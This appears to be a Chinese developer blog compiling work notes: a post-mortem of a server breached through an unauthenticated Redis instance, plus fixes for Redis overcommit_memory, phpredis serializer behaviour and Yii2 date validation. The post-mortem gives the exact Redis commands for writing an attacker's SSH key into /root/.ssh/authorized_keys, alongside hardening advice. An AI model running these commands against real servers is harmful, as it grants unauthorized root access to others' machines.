redis 漏洞 事故总结

事故起因 合并uc数据方案采用本地临时redis-server存储id,脚本和临时数据存储在同一台服务器导致单台服务器内存不足 redis-server挂机. 于是开启crontab-3机器 作为临时redis-server,由于对redis的漏洞没有相关的了解和没有相关安全意识,使用了redis的默认配置 导致该台服务器被黑客入侵 事故原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器 漏洞利用条件 redis服务以root账户运行 redis无密码或弱密码进行认证 redis监听在0.0.0.0公网上 案例分析(利用漏洞方式总共分为2种 命令注入,密钥注入.以下为密钥注入案例) 服务器ubuntu 14.04 lts redis-server 2.8.4 ip 172.16.143.141 port 6379 非server版本开启permitRootLogin 步骤一 生成公钥 步骤二 (连上redis客户端) 将公钥写入key set aa "\n\n\nssh-rsa ********************* frank@franktekiMacBook-Pro.local\n\n\n" 设置redis备份地址 config set dir /root/.ssh/ 设置备份文件名 config set dbfilename authorized_keys 保存 save 步骤三 ssh 172.16.143.141 直接登陆root无需密码 事故总结于防范 线上操作要有安全意识 redis服务尽量不要暴露在外网中 配置auth密码 禁止root启动redis服务 修改默认端口6379

php redis spop false

问题描述: 从脚本机2 切换到脚本机3后 发现原来的脚本跑不到数据了 spop返回false scard返回20000000+ 查看redis日志 13671:M 06 Jan 19:39:11.073 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect. 貌似是内存分配问题 根据提示 sysctl vm.overcommit_memory=1 spop返回正常 百度overcommit_memory 内核参数overcommit_memory 它是 内存分配策略 可选值:0、1、2。 0, 表示内核将检查是否有足够的可用内存供应用进程使用;如果有足够的可用内存,内存申请允许;否则,内存申请失败,并把错误返回给应用进程。 1, 表示内核允许分配所有的物理内存,而不管当前的内存状态如何。 2, 表示内核允许分配超过所有物理内存和交换空间总和的内存 什么是Overcommit和OOM Linux对大部分申请内存的请求都回复"yes",以便能跑更多更大的程序。因为申请内存后,并不会马上使用内存。这种技术叫做 Overcommit。当linux发现内存不足时,会发生OOM killer(OOM=out-of-memory)。它会选择杀死一些进程(用户态进程,不是内核线程),以便释放内存。 当oom-killer发生时,linux会选择杀死哪些进程?选择进程的函数是oom_badness函数(在mm/oom_kill.c中),该 函数会计算每个进程的点数(0~1000)。点数越高,这个进程越有可能被杀死。每个进程的点数跟oom_score_adj有关,而且 oom_score_adj可以被设置(-1000最低,1000最高)。

(工作小记)phpredis Redis::SERIALIZER_IGBINARY 自增字段

最近项目中的统计出现了问题,统计数使用redis的incr 自增。修复数据后使用set xxx value 将新的数据替换老数据 发现set更新后数据又从1开始重新增加 最后发现问题出在 [php]$this->setOption ( \Redis::OPT_SERIALIZER, \Redis::SERIALIZER_IGBINARY );[/php] Redis::SERIALIZER_IGBINARY这个参数 Redis::SERIALIZER_IGBINARY [php] $redis->set("a", 3); $redis->incr("a"); // 1 echo $redis->get("a"); // output 1 [/php] Redis::SERIALIZER_PHP [php] $redis->set("a", 3); $redis->incr("a"); // false echo $redis->get("a"); // output 3 [/php] 解决方案 在保存之前临时将参数改为Redis::SERIALIZER_NONE 取消序列化 最后别忘了把它改回来 参考 https://github.com/phpredis/phpredis/issues/246

Yii2.0 字段验证 日期验证 DateValidator

使用yii验证日期 [php] public function rules() { return [ [array_keys($this->attributeLabels()), 'trim'], [['pop_id', 'start_day', 'end_day'], 'required'], [['pop_id'], 'integer'], [['start_day', 'end_day'], 'date', 'message' => " {attribute} 格式不正确"], ]; } [/php] start_day 为2016-03-24 总是返回不正确  可是默认的验证格式就是Y-m-d 最后发现要这么写才行 真是坑啊 [php] public function rules() { return [ [array_keys($this->attributeLabels()), 'trim'], [['pop_id', 'start_day', 'end_day'], 'required'], [['pop_id'], 'integer'], [['start_day', 'end_day'], 'date', 'format' => 'php:Y-m-d', 'message' => " {attribute} 格式不正确"], ]; } [/php]